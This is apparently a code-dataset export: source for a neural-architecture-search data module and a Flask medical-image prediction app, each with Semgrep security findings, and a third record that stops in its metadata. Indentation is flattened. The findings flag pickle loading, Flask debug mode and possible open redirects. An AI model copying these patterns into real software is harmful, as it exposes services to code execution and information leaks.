"path": "/data.py",
"provenance": "stack-edu-0054.json.gz:578333",
"repo_name": "naszilla/nas-encodings",
"revision_date": 1617594126000,
"revision_id": "7a66008881684eabf395c9463968086f636164ef",
"snapshot_id": "a5c3d2871315c2a1750db4c4620de017dad26ad0",
"src_encoding": "UTF-8",
"star_events_count": 31,
"url": "https://raw.githubusercontent.com/naszilla/nas-encodings/7a66008881684eabf395c9463968086f636164ef/data.py",
"visit_date": "2023-03-30T14:11:57.185370"
} | 2.5 | stackv2 | import numpy as np
import pickle
import sys
import os
"""
currently we need to set an environment variable in 'search_space',
and then import the correct Cell class based on the search space
TODO: handle this better by making Cell subclasses for each search space
"""
if 'search_space' not in os.environ or os.environ['search_space'] == 'nasbench':
from nasbench import api
from nas_bench.cell import Cell
elif os.environ['search_space'] == 'darts':
from darts.arch import Arch
elif os.environ['search_space'][:12] == 'nasbench_201':
from nas_201_api import NASBench201API as API
from nas_bench_201.cell import Cell
else:
print('Invalid search space environ in data.py')
sys.exit()
class Data:
def __init__(self,
search_space,
dataset='cifar10',
nasbench_folder='./',
index_hash_folder='./',
loaded_nasbench=None):
self.search_space = search_space
self.dataset = dataset
"""
Some of the path-based encoding methods require a hash map from path indices to
cell architectures. We have created a pickle file which contains this hash map, located
at https://drive.google.com/file/d/1yMRFxT6u3ZyfiWUPhtQ_B9FbuGN3X-Nf/view?usp=sharing
"""
self.index_hash = pickle.load(open(os.path.expanduser(index_hash_folder + 'index_hash.pkl'), 'rb'))
# instructions for installing nasbench-101 and nas-bench-201 are in the readme
if loaded_nasbench:
self.nasbench = loaded_nasbench
elif search_space == 'nasbench':
self.nasbench = api.NASBench(nasbench_folder + 'nasbench_only108.tfrecord')
elif search_space == 'nasbench_201':
self.nasbench = API(os.path.expanduser('~/nas-bench-201/NAS-Bench-201-v1_0-e61699.pth'))
elif search_space != 'darts':
print(search_space, 'is not a valid search space')
sys.exit()
def get_type(self):
return self.search_space
def convert_to_cells(self,
arches,
predictor_encoding='path',
cutoff=0,
train=True):
cells = []
for arch in arches:
spec = Cell.convert_to_cell(arch)
cell = self.query_arch(spec,
predictor_encoding=predictor_encoding,
cutoff=cutoff,
train=train)
cells.append(cell)
return cells
def query_arch(self,
arch=None,
train=True,
predictor_encoding=None,
cutoff=0,
random_encoding='standard',
deterministic=True,
epochs=0,
random_hash=False,
max_edges=None,
max_nodes=None):
arch_dict = {}
arch_dict['epochs'] = epochs
if self.search_space in ['nasbench', 'nasbench_201']:
if arch is None:
arch = Cell.random_cell(self.nasbench,
random_encoding=random_encoding,
max_edges=max_edges,
max_nodes=max_nodes,
cutoff=cutoff,
index_hash=self.index_hash)
arch_dict['spec'] = arch
if predictor_encoding:
arch_dict['encoding'] = Cell(**arch).encode(predictor_encoding=predictor_encoding,
cutoff=cutoff)
# special keys for local search and outside_ss experiments
if self.search_space == 'nasbench_201' and random_hash:
arch_dict['random_hash'] = Cell(**arch).get_random_hash()
if self.search_space == 'nasbench':
arch_dict['adj'] = Cell(**arch).encode(predictor_encoding='adj')
arch_dict['path'] = Cell(**arch).encode(predictor_encoding='path')
if train:
arch_dict['val_loss'] = Cell(**arch).get_val_loss(self.nasbench,
deterministic=deterministic,
dataset=self.dataset)
arch_dict['test_loss'] = Cell(**arch).get_test_loss(self.nasbench,
dataset=self.dataset)
arch_dict['num_params'] = Cell(**arch).get_num_params(self.nasbench)
arch_dict['val_per_param'] = (arch_dict['val_loss'] - 4.8) * (arch_dict['num_params'] ** 0.5) / 100
if self.search_space == 'nasbench':
arch_dict['dist_to_min'] = arch_dict['val_loss'] - 4.94457682
elif self.dataset == 'cifar10':
arch_dict['dist_to_min'] = arch_dict['val_loss'] - 8.3933
elif self.dataset == 'cifar100':
arch_dict['dist_to_min'] = arch_dict['val_loss'] - 26.5067
else:
arch_dict['dist_to_min'] = arch_dict['val_loss'] - 53.2333
else:
# if the search space is DARTS
if arch is None:
arch = Arch.random_arch()
arch_dict['spec'] = arch
if predictor_encoding == 'path':
encoding = Arch(arch).encode_paths()
elif predictor_encoding == 'trunc_path':
encoding = Arch(arch).encode_freq_paths()
else:
encoding = arch
arch_dict['encoding'] = encoding
if train:
if epochs == 0:
epochs = 50
arch_dict['val_loss'], arch_dict['test_loss'] = Arch(arch).query(epochs=epochs)
return arch_dict
def mutate_arch(self,
arch,
mutation_rate=1.0,
mutate_encoding='adj',
cutoff=0):
if self.search_space in ['nasbench', 'nasbench_201']:
return Cell(**arch).mutate(self.nasbench,
mutation_rate=mutation_rate,
mutate_encoding=mutate_encoding,
index_hash=self.index_hash,
cutoff=cutoff)
else:
return Arch(arch).mutate(int(mutation_rate))
def get_nbhd(self, arch, mutate_encoding='adj'):
if self.search_space == 'nasbench':
return Cell(**arch).get_neighborhood(self.nasbench,
mutate_encoding=mutate_encoding,
index_hash=self.index_hash)
elif self.search_space == 'nasbench_201':
return Cell(**arch).get_neighborhood(self.nasbench,
mutate_encoding=mutate_encoding)
else:
return Arch(arch).get_neighborhood()
def get_hash(self, arch):
# return a unique hash of the architecture+fidelity
# we use path indices + epochs
if self.search_space == 'nasbench':
return Cell(**arch).get_path_indices()
elif self.search_space == 'darts':
return Arch(arch).get_path_indices()[0]
else:
return Cell(**arch).get_string()
def generate_random_dataset(self,
num=10,
train=True,
predictor_encoding=None,
random_encoding='adj',
deterministic_loss=True,
patience_factor=5,
allow_isomorphisms=False,
cutoff=0,
max_edges=None,
max_nodes=None):
"""
create a dataset of randomly sampled architectues
test for isomorphisms using a hash map of path indices
use patience_factor to avoid infinite loops
"""
data = []
dic = {}
tries_left = num * patience_factor
while len(data) < num:
tries_left -= 1
if tries_left <= 0:
break
arch_dict = self.query_arch(train=train,
predictor_encoding=predictor_encoding,
random_encoding=random_encoding,
deterministic=deterministic_loss,
cutoff=cutoff,
max_edges=max_edges,
max_nodes=max_nodes)
h = self.get_hash(arch_dict['spec'])
if allow_isomorphisms or h not in dic:
dic[h] = 1
data.append(arch_dict)
return data
def get_candidates(self,
data,
num=100,
acq_opt_type='mutation',
predictor_encoding=None,
mutate_encoding='adj',
loss='val_loss',
allow_isomorphisms=False,
patience_factor=5,
deterministic_loss=True,
num_arches_to_mutate=1,
max_mutation_rate=1,
cutoff=0):
"""
Creates a set of candidate architectures with mutated and/or random architectures
"""
candidates = []
# set up hash map
dic = {}
for d in data:
arch = d['spec']
h = self.get_hash(arch)
dic[h] = 1
if acq_opt_type in ['mutation', 'mutation_random']:
# mutate architectures with the lowest loss
best_arches = [arch['spec'] for arch in sorted(data, key=lambda i:i[loss])[:num_arches_to_mutate * patience_factor]]
# stop when candidates is size num
# use patience_factor instead of a while loop to avoid long or infinite runtime
for arch in best_arches:
if len(candidates) >= num:
break
for i in range(num // num_arches_to_mutate // max_mutation_rate):
for rate in range(1, max_mutation_rate + 1):
mutated = self.mutate_arch(arch,
mutation_rate=rate,
mutate_encoding=mutate_encoding)
arch_dict = self.query_arch(mutated,
train=False,
predictor_encoding=predictor_encoding,
cutoff=cutoff)
h = self.get_hash(mutated)
if allow_isomorphisms or h not in dic:
dic[h] = 1
candidates.append(arch_dict)
if acq_opt_type in ['random', 'mutation_random']:
# add randomly sampled architectures to the set of candidates
for _ in range(num * patience_factor):
if len(candidates) >= 2 * num:
break
arch_dict = self.query_arch(train=False,
predictor_encoding=predictor_encoding,
cutoff=cutoff)
h = self.get_hash(arch_dict['spec'])
if allow_isomorphisms or h not in dic:
dic[h] = 1
candidates.append(arch_dict)
return candidates
def remove_duplicates(self, candidates, data):
# input: two sets of architectues: candidates and data
# output: candidates with arches from data removed
dic = {}
for d in data:
dic[self.get_hash(d['spec'])] = 1
unduplicated = []
for candidate in candidates:
if self.get_hash(candidate['spec']) not in dic:
dic[self.get_hash(candidate['spec'])] = 1
unduplicated.append(candidate)
return unduplicated
def encode_data(self, dicts):
# input: list of arch dictionary objects
# output: xtrain (in binary path encoding), ytrain (val loss)
data = []
for dic in dicts:
arch = dic['spec']
encoding = Arch(arch).encode_paths()
data.append((arch, encoding, dic['val_loss_avg'], None))
return data
def get_arch_list(self,
aux_file_path,
distance=None,
iteridx=0,
num_top_arches=5,
max_edits=20,
num_repeats=5,
random_encoding='adj',
verbose=1):
# Method used for gp_bayesopt
if self.search_space == 'darts':
print('get_arch_list only supported for nasbench and nasbench_201')
sys.exit()
# load the list of architectures chosen by bayesopt so far
base_arch_list = pickle.load(open(aux_file_path, 'rb'))
top_arches = [archtuple[0] for archtuple in base_arch_list[:num_top_arches]]
if verbose:
top_5_loss = [archtuple[1][0] for archtuple in base_arch_list[:min(5, len(base_arch_list))]]
print('top 5 val losses {}'.format(top_5_loss))
# perturb the best k architectures
dic = {}
for archtuple in base_arch_list:
path_indices = Cell(**archtuple[0]).get_path_indices()
dic[path_indices] = 1
new_arch_list = []
for arch in top_arches:
for edits in range(1, max_edits):
for _ in range(num_repeats):
#perturbation = Cell(**arch).perturb(self.nasbench, edits)
perturbation = Cell(**arch).mutate(self.nasbench, edits)
path_indices = Cell(**perturbation).get_path_indices()
if path_indices not in dic:
dic[path_indices] = 1
new_arch_list.append(perturbation)
# make sure new_arch_list is not empty
while len(new_arch_list) == 0:
for _ in range(100):
arch = Cell.random_cell(self.nasbench, random_encoding=random_encoding)
path_indices = Cell(**arch).get_path_indices()
if path_indices not in dic:
dic[path_indices] = 1
new_arch_list.append(arch)
return new_arch_list
# Method used for gp_bayesopt for nasbench
@classmethod
def generate_distance_matrix(cls, arches_1, arches_2, distance):
matrix = np.zeros([len(arches_1), len(arches_2)])
for i, arch_1 in enumerate(arches_1):
for j, arch_2 in enumerate(arches_2):
matrix[i][j] = Cell(**arch_1).distance(Cell(**arch_2), dist_type=distance)
return matrix
| 372 | 40.47 | 128 | 19 | 3,053 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_7b01fd830bcacb05_83e3456d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 27, "column_end": 108, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/7b01fd830bcacb05.py", "start": {"line": 40, "col": 27, "offset": 1340}, "end": {"line": 40, "col": 108, "offset": 1421}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_7b01fd830bcacb05_4931043c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 331, "line_end": 331, "column_start": 26, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/7b01fd830bcacb05.py", "start": {"line": 331, "col": 26, "offset": 13539}, "end": {"line": 331, "col": 64, "offset": 13577}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
40,
331
] | [
40,
331
] | [
27,
26
] | [
108,
64
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | data.py | /data.py | naszilla/nas-encodings | Apache-2.0 | |
2024-11-18T20:18:47.628255+00:00 | 1,633,878,448,000 | b17c09853376a0139ad914baf46370b23e7ef8f8 | 2 | {
"blob_id": "b17c09853376a0139ad914baf46370b23e7ef8f8",
"branch_name": "refs/heads/master",
"committer_date": 1633878448000,
"content_id": "a623f5f580f583533fde03080f308cca2e0e2d41",
"detected_licenses": [
"MIT"
],
"directory_id": "b947d7de8f7f01469fbf3a4996905f97fa940eab",
"extension": "py",
"filename": "app.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3411,
"license": "MIT",
"license_type": "permissive",
"path": "/app.py",
"provenance": "stack-edu-0054.json.gz:578335",
"repo_name": "sanidhyamangal/deepdiag",
"revision_date": 1633878448000,
"revision_id": "f6ad8b75db648f06bdd0f5eff68afbdf4f3c2a76",
"snapshot_id": "7b047967b938f5e8425d0a29df390049836ff115",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/sanidhyamangal/deepdiag/f6ad8b75db648f06bdd0f5eff68afbdf4f3c2a76/app.py",
"visit_date": "2023-08-31T13:59:32.648754"
} | 2.4375 | stackv2 | from flask import Flask, render_template, request, flash, redirect, jsonify, send_from_directory, url_for
import base64
from predictions import predict_malaria, predict_pneumonia
from werkzeug.utils import secure_filename
import os
import uuid
app = Flask(__name__)
UPLOAD_FOLDER = './uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def home():
return render_template("index.html")
@app.route('/uploads/<filename>')
def uploaded_file(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
@app.route('/predict/malaria', methods=['POST', 'GET'])
def malaria():
if request.method == 'POST':
# check if the post request has the file part
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
# if user does not select file, browser also
# submit an empty part without filename
if file.filename == '':
flash('No selected file')
return redirect(request.url)
if file and allowed_file(file.filename):
result_response = {}
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
try:
result = predict_malaria(
os.path.join(app.config['UPLOAD_FOLDER'], filename))
if result:
result_response["result"] = "True"
else:
result_response["result"] = "False"
return render_template("result.html",
result=result_response["result"],
filename=filename)
except Exception:
return redirect("/")
return redirect("/")
@app.route('/predict/pneumonia', methods=['POST', 'GET'])
def pneumonia():
if request.method == 'POST':
# check if the post request has the file part
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
# if user does not select file, browser also
# submit an empty part without filename
if file.filename == '':
flash('No selected file')
return redirect(request.url)
if file and allowed_file(file.filename):
result_response = {}
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
try:
result = predict_pneumonia(
os.path.join(app.config['UPLOAD_FOLDER'], filename))
if result:
result_response["result"] = "True"
else:
result_response["result"] = "False"
return render_template("result.html",
result=result_response["result"],
filename=filename)
except Exception:
return redirect("/")
return redirect("/")
if __name__ == "__main__":
app.run(debug=True) | 94 | 35.3 | 105 | 19 | 633 | python | [{"finding_id": "semgrep_rules.python.flask.security.open-redirect_fd81f5ce1f38d603_bad41ccc", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.open-redirect", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 35, "column_start": 20, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-601: URL Redirection to Untrusted Site ('Open Redirect')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2021 - Broken Access Control", "references": [{"url": "https://flask-login.readthedocs.io/en/latest/#login-example", "title": null}, {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "title": null}, {"url": "https://docs.python.org/3/library/urllib.parse.html#url-parsing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.open-redirect", "path": "/tmp/tmpr7mo7ysm/fd81f5ce1f38d603.py", "start": {"line": 35, "col": 20, "offset": 990}, "end": {"line": 35, "col": 41, "offset": 1011}, "extra": {"message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "metadata": {"cwe": ["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')"], "owasp": ["A01:2021 - Broken Access Control", "A01:2025 - Broken Access Control"], "references": ["https://flask-login.readthedocs.io/en/latest/#login-example", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "https://docs.python.org/3/library/urllib.parse.html#url-parsing"], "category": "security", "technology": ["flask"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.open-redirect_fd81f5ce1f38d603_a441ba41", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.open-redirect", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 41, "line_end": 41, "column_start": 20, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-601: URL Redirection to Untrusted Site ('Open Redirect')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2021 - Broken Access Control", "references": [{"url": "https://flask-login.readthedocs.io/en/latest/#login-example", "title": null}, {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "title": null}, {"url": "https://docs.python.org/3/library/urllib.parse.html#url-parsing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.open-redirect", "path": "/tmp/tmpr7mo7ysm/fd81f5ce1f38d603.py", "start": {"line": 41, "col": 20, "offset": 1239}, "end": {"line": 41, "col": 41, "offset": 1260}, "extra": {"message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "metadata": {"cwe": ["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')"], "owasp": ["A01:2021 - Broken Access Control", "A01:2025 - Broken Access Control"], "references": ["https://flask-login.readthedocs.io/en/latest/#login-example", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "https://docs.python.org/3/library/urllib.parse.html#url-parsing"], "category": "security", "technology": ["flask"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.open-redirect_fd81f5ce1f38d603_8a487445", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.open-redirect", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 67, "column_start": 20, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-601: URL Redirection to Untrusted Site ('Open Redirect')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2021 - Broken Access Control", "references": [{"url": "https://flask-login.readthedocs.io/en/latest/#login-example", "title": null}, {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "title": null}, {"url": "https://docs.python.org/3/library/urllib.parse.html#url-parsing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.open-redirect", "path": "/tmp/tmpr7mo7ysm/fd81f5ce1f38d603.py", "start": {"line": 67, "col": 20, "offset": 2302}, "end": {"line": 67, "col": 41, "offset": 2323}, "extra": {"message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "metadata": {"cwe": ["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')"], "owasp": ["A01:2021 - Broken Access Control", "A01:2025 - Broken Access Control"], "references": ["https://flask-login.readthedocs.io/en/latest/#login-example", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "https://docs.python.org/3/library/urllib.parse.html#url-parsing"], "category": "security", "technology": ["flask"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.open-redirect_fd81f5ce1f38d603_7d6bfcd2", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.open-redirect", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 20, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-601: URL Redirection to Untrusted Site ('Open Redirect')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2021 - Broken Access Control", "references": [{"url": "https://flask-login.readthedocs.io/en/latest/#login-example", "title": null}, {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "title": null}, {"url": "https://docs.python.org/3/library/urllib.parse.html#url-parsing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.open-redirect", "path": "/tmp/tmpr7mo7ysm/fd81f5ce1f38d603.py", "start": {"line": 73, "col": 20, "offset": 2551}, "end": {"line": 73, "col": 41, "offset": 2572}, "extra": {"message": "Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.", "metadata": {"cwe": ["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')"], "owasp": ["A01:2021 - Broken Access Control", "A01:2025 - Broken Access Control"], "references": ["https://flask-login.readthedocs.io/en/latest/#login-example", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1", "https://docs.python.org/3/library/urllib.parse.html#url-parsing"], "category": "security", "technology": ["flask"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_fd81f5ce1f38d603_92a9c78f", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 94, "line_end": 94, "column_start": 5, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmpr7mo7ysm/fd81f5ce1f38d603.py", "start": {"line": 94, "col": 5, "offset": 3392}, "end": {"line": 94, "col": 24, "offset": 3411}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-601",
"CWE-601",
"CWE-601",
"CWE-601"
] | [
"rules.python.flask.security.open-redirect",
"rules.python.flask.security.open-redirect",
"rules.python.flask.security.open-redirect",
"rules.python.flask.security.open-redirect"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
35,
41,
67,
73
] | [
35,
41,
67,
73
] | [
20,
20,
20,
20
] | [
41,
41,
41,
41
] | [
"A01:2021 - Broken Access Control",
"A01:2021 - Broken Access Control",
"A01:2021 - Broken Access Control",
"A01:2021 - Broken Access Control"
] | [
"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See... | [
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | app.py | /app.py | sanidhyamangal/deepdiag | MIT | |
2024-11-18T20:18:47.919296+00:00 | 1,629,459,303,000 | 7f2707c421e6fbf835f1980a4b7bf584a7c84290 | 2 | {
"blob_id": "7f2707c421e6fbf835f1980a4b7bf584a7c84290",
"branch_name": "refs/heads/master",
"committer_date": 1629459303000,
"content_id": "0ea6c3fddafbf538d4107aac7e52dd3005cea197",
"detected_licenses": [
"BSD-3-Clause",
"MIT"
],
"directory_id": "d1db03655b95a2ba46947ff5ee22fe62004a3738",
"extension": "py",
"filename": "keylog.py",
"fork_events_count": 0,
"gha_created_at": 1620552318000,
